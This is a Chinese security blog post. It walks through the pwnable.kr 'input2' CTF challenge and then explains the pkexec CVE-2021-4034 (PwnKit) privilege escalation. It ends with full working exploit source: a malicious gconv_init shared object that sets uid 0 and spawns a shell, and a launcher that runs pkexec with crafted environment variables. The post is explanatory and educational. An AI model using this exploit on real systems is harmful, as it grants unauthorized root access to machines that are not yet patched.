pwnable.kr-input2 & pkexec(CVE-2021-4034)漏洞解析
2024-2-27 17:54:29 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏


input2 分析

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

分为5个stage,需要依次解决。

1.1 argv

命令行执行程序调用的是execve系统调用,其函数原型如下所示,第一个参数是运行程序文件名,第二个参数是argv[],第三个参数是envp[].同时,检测的是main函数的argcargv。

int execve(const char *filename, char *const argv[],
char *const envp[]);

int main( int argc, char *argv[ ] ) { /* … */ }

main函数的第一个参数argc表示的是命令行参数个数。argv则是命令行参数argv[0]= filename

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

1.argc == 100

2.argv['A'] == '\x00'

3.argv['B'] == '\x20\x0a\x0d'

翻译一下:

char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";

execve("/home/input2/input",argv,NULL);

1.2 stdio

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

ssize_t read(int fd, void *buf, size_t count);

read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

int memcmp(const void *s1, const void *s2, size_t n);

the memcmp() function compares the first n bytes (each interpreted as unsigned char) of the memory areas s1 and s2.

即:

1.从标准输入流读取字符串写入内存,和\x00\x0a\x00\xff比较。

2.从标准错误流读取字符串写入内存和\x00\x0a\x02\xff比较。

fd = 0 很好解决,stdin,直接输入即可;fd = 2的输入不是很好解决,但是pwntools提供了对应的接口,如果没有pwntools,应该怎么实现?

1.dup函数可以实现IO重定向。

2.使用open函数可以获取到一个fd,将字符串写入文件。

因此有:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

int main() {
int fd1 = open("./stdin", O_RDONLY);
int fd2 = open("./stderr", O_RDONLY);

dup2(fd1, 0); // 将文件描述符fd1重定向到标准输入
dup2(fd2, 2); // 将文件描述符fd2重定向到标准错误

close(fd1);
close(fd2);

char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";

execve("/home/input2/input",argv,NULL);
return 0;
}

1.3 env

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

上述execve函数已经讲过,因此直接添加即可:

char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
execve("/home/input/input",argv,env);

1.4 file

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

基本文件流操作:

FILE* fp = fopen("\x0a","w");
fwrite("\x00\x00\x00\x00",4,1,fp);
fclose(fp);

需要注意的是,能写入的目录只有/tmp,如何才能读取到想要的文件是需要考虑一下的。

1.5 network

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

1.saddr.sin_port = htons( atoi(argv['C']) );监听端口通过环境变量获取。

2.通过socket接收到的内容是\xde\xad\xbe\xef。

argv['C'] = "10010";

int sockfd;
struct sockaddr_in server;
sockfd = socket(AF_INET,SOCK_STREAM,0);
if ( sockfd < 0){
perror("Cannot create the socket");
exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("pwnable.kr");
server.sin_port = htons(55555);
if ( connect(sockfd, (struct sockaddr*) &server, sizeof(server)) < 0 ){
perror("Problem connecting");
exit(1);
}
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd,buf,4);
close(sockfd);

需要注意的是,最后一步由于远程防火墙问题,pwntools是连不上去的,只有提交到本地之后才可以,另外,由于我们的目录在/tmp,而读取的flag并不在,需要想办法获取对应的内容,一个好的方法是软连接。


总结 & pkexec(CVE-2021-4034)浅析

本道题包含的知识点比较多文件IO,进程通信,网络通信均有涉及,如果对此不是很了解建议翻阅CSAPP相关章节。

另在整理本题时想到一个比较简单的漏洞和本题有一定相似性,借此把之前的简单分析也放出来,可以看看真实漏洞和习题的异同。

2.1 DIff信息

结论:

1.增加了argc < 1的校验。

2.修改了argv[n]的检测逻辑 ,ifargv[n] != nullthenargv[n] = s。

问题:

1.什么情况下argc 会小于1 ?

2.什么情况下argv == null?

2.2 execve systemcall & argc,argv,envp

/* argc.c */

#include <stdio.h>
#include <unistd.h>
int main (int argc, char **argv) {
printf("argc: %d\n", argc);
for (int i = 0; i < argc; i++)
{
if (argv[i] != NULL)
{
printf("argv[%d]: %s\n", i, argv[i]);
} else {
printf("argv[%d]: NULL\n", i);
}
}
return 0;
}

如果执行argc 1 2 3 4 5

得到结果是:

{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./argc 1 2 3 4 5
argc: 6
argv: ./argc
argv: 1
argv: 2
argv: 3
argv: 4
argv: 5

/* execve.c */
#include <stdio.h>
#include <unistd.h>
int main () {

char* const argv[] = {
"AAAA1111",
"BBBB2222",
"CCCC3333",
NULL
};
char* const envp[] = {
"DDDD3333",
"EEEE4444",
"FFFF5555",
NULL
};
// return execve("./argc", {NULL}, {NULL});
return execve("./argc", argv, envp);
}

如果执行execve("./argc", NULL, NULL)得到的结果是:

xiaochen {~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./execve
argc: 0

如果将argc.cfor (int i = 0; i < argc; i++)改为for (int i = 0; i < 8; i++)执行argc 1 2 3 4 5结果是:

{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./argc 1 2 3 4
argc: 5
argv[0]: ./argc
argv[1]: 1
argv[2]: 2
argv[3]: 3
argv[4]: 4
argv[5]: NULL
argv[6]: USER=xiaochen
argv[7]: __CFBundleIdentifier=com.microsoft.VSCode

后面的结果是什么?

如果设定argv和envp参数,执行execve.c得到的结果是:

{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./execve
argc: 3
argv[0]: AAAA1111
argv[1]: BBBB2222
argv[2]: CCCC3333
argv[3]: NULL
argv[4]: DDDD3333
argv[5]: EEEE4444
argv[6]: FFFF5555
argv[7]: NULL

execve系统调用中连续的参数为argc argv 以及 envp

如下图所示:

|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL

结论:

如果存在应用,直接使用argv[1]而未对参数进行校验,那么如果此时使用execve执行命令 传递参数为NULL,*那么此时:

1.argc = 0。

2.应用程序会错误读取envp[0]作为对应的argv[1],即存在 out-of-boundsargv[1] = envp[0]。

可以查看一篇slide(https://www.slideshare.net/SilvioCesare/simple-bugs-and-vulnerabilities-in-linux-distributions)

小结:

1.目前已知信息:pkexec存在越界读envp作为argv的可能性。

提权?

2.3 suid权限代表着什么

(1)如果普通用户执行具有suid权限应用比如passwd,那么其efftive id = root,real id = user. 即具有suid权限应用可以被普通用户启动,并且运行权限会被修改为root。


那么如果想办法使用环境变量启动一个bash,这个bash就能具有root权限,可利用环境变量有哪些?


LD_PRELOAD

看起来很简单?直接使用LD_PRELOAD是否可行?

(2)NO

/* env.c */#include <stdio.h> int main() {    system("env");    return 0;}
#!/bin/bash
export GCONV_PATH=AAAA0001export GETCONF_DIR=AAAA0002export HOSTALIASES=AAAA0003export LD_AUDIT=AAAA0004export LD_DEBUG=AAAA0005export LD_DEBUG_OUTPUT=AAAA0006export LD_DYNAMIC_WEAK=AAAA0007export LD_HWCAP_MASK=AAAA0008export LD_LIBRARY_PATH=AAAA0009export LD_ORIGIN_PATH=AAAA0010export LD_PRELOAD=AAAA0011export LD_PROFILE=AAAA0012export LD_SHOW_AUXV=AAAA0013export LD_USE_LOAD_BIAS=AAAA0014export LOCALDOMAIN=AAAA0015export LOCPATH=AAAA0016export MALLOC_TRACE=AAAA0017export NIS_PATH=AAAA0018export NLSPATH=AAAA0019export RESOLV_HOST_CONF=AAAA0020export RES_OPTIONS=AAAA0021export TMPDIR=AAAA0022export TZDIR=AAAA0023 export PATH=AAAA1001:/usr/binexport SHELL=AAAA1002export CHARSET=AAAA1003export BBBB=AAAA1004

结论:环境变量中,不安全的环境变量不会被引入。

那么如何把shell写进入呢?

漏洞发现者提出了一种巧妙的方法(https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)。

The answer to our question comes from pkexec's complexity: to print an
error message to stderr, pkexec calls the GLib's function g_printerr()
(note: the GLib is a GNOME library, not the GNU C Library, aka glibc);
for example, the functions validate_environment_variable() and
log_message() call g_printerr() (at lines 126 and 408-409):

  

88 log_message (gint level,
89 gboolean print_to_stderr,
90 const gchar *format,
91 ...)
92 {
...
125 if (print_to_stderr)
126 g_printerr ("%s\n", s);

 

383 validate_environment_variable (const gchar *key,
384 const gchar *value)
385 {
...
406 log_message (LOG_CRIT, TRUE,
407 "The value for the SHELL variable was not found the /etc/shells file");
408 g_printerr ("\n"
409 "This incident has been reported.\n");

1.g_printerr()正常情况下是为了以UTF-8编码格式打印错误信息。
2.如果环境变量中的CHARSET != UTF-8,它同样能够以其他编码方式打印错误信息。(CHARSET 环境变量不属于不安全环境变量)
3.g_printerr()会调用glibc的iconv_open()函数将UTF-8格式的信息转为其他格式。
4.为了转换格式,iconv_open()会调用一个共享库函数。
5.正常情况下,找到系统提供的gconv-modules文件,然后从中拿到需要的共享库函数。
6.之后会调用对应文件中的gconv()函数和gconv_init()函数。
7.但是通过环境变量GCONV_PATH可以强制指定iconv_open()读取某一个特定的共享库。
8.问题:GCONV_PATH是不安全函数,不会被加载到程序中。
9.pkexec可以将GCONV_PATH环境变量重新载入。为什么?

到目前位置所知道的信息:

1.pkexec可以将envp错误识别为argv。
2.pkexec使用的g_printerr()会使用iconv_open()加载某一个共享库识别其他字符,并且可以通过GCONV_PATH环境变量控制共享库的路径。
3.pkexec具有suid权限。

2.4 POC分析

到这里,基本上就已经明确了所有步骤:

1.构造执行shell的文件,编译为so文件。
2.向pkexec写入环境变量,控制GCONV_PATH,使得shell可以被链接到程序上。
3.使pkexec能够运行错误输出函数g_printerr(),触发具有shell的so。

回到源码,分析调用链。

1.在534行 进入循环,n从1开始便利for (n = 1; n < (guint) argc; n++)
2.在610行 会将argv[1]取出,path指向它path = g_strdup (argv[n]);
3.在629行 对path参数校验,不是以/开头,进去判断居于
4.在632行 将path传递给ss = g_find_program_in_path (path);g_find_program_in_path()是 Glib函数,作用在 PATH 环境变量的目录中搜索一个名为path的文件。
5.在639行argv[n] = path = s
6.在670行if (!validate_environment_variable (key, value))会对环境变量进行合法性校验,此时如果报错会调用g_printerr()
7.在702行会对环境变量进行清除操作if (clearenv () != 0)

假设存在环境变量PATH=name,如果name存在,并且name目录中有一个名为path的文件,传递给envp[0]。


如果
PATH=name=.并且有一个目录name=.,此目录中有一个shell.so:.,那么这个shell.so:.会被传递给argv[1]->envp[0]。

如果在开始,使用execve()执行pkexec,并且传递第一个参数为NULL,那么 在第二步,一开始读取的argv[1] 实际上是envp[0]。


并且后续会找到一个可执行文件传递给s,继而传递给
argv[1],注意argv[1]指向的实际上是第一个环境变量。


通过这种方式,就能修改掉第一个环境变量。

2.5 利用

// pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {
}

void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}

// exp.c
#include <unistd.h>

int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}

构造环境变量如上图,按POC所叙述,

1.首先会将pwnkit.so:.传递给g_find_program_in_path()函数,在环境变量中PATH的目录GCONV_PATH=.中寻找pwnkit.so:.,最后找到的以PATH目录为起始位置的路径是GCONV_PATH=./pwnkit.so:.。
2.这个绝对路径会被写入envp[0]
3.此时系统中具有异常的环境变量GCONV_PATH=./pwnkit.so:.。
4.利用SHELL环境变量构造报错,调用g_printer()函数。
5.此时由于CHARSET != UTF8所以会调用iconv_open()函数。
6.由于上面设置了GCONV_PATH所以此时会将./pwnkit.so错误的作为库函数加载并执行。

参考:

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458542716&idx=1&sn=bc73fc3d66af28331dab33ac03fa09bd&chksm=b18d52f686fadbe0d5e2db68f03d60d7455d9330096481e24a23dfbc9c30d338db835416235a&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh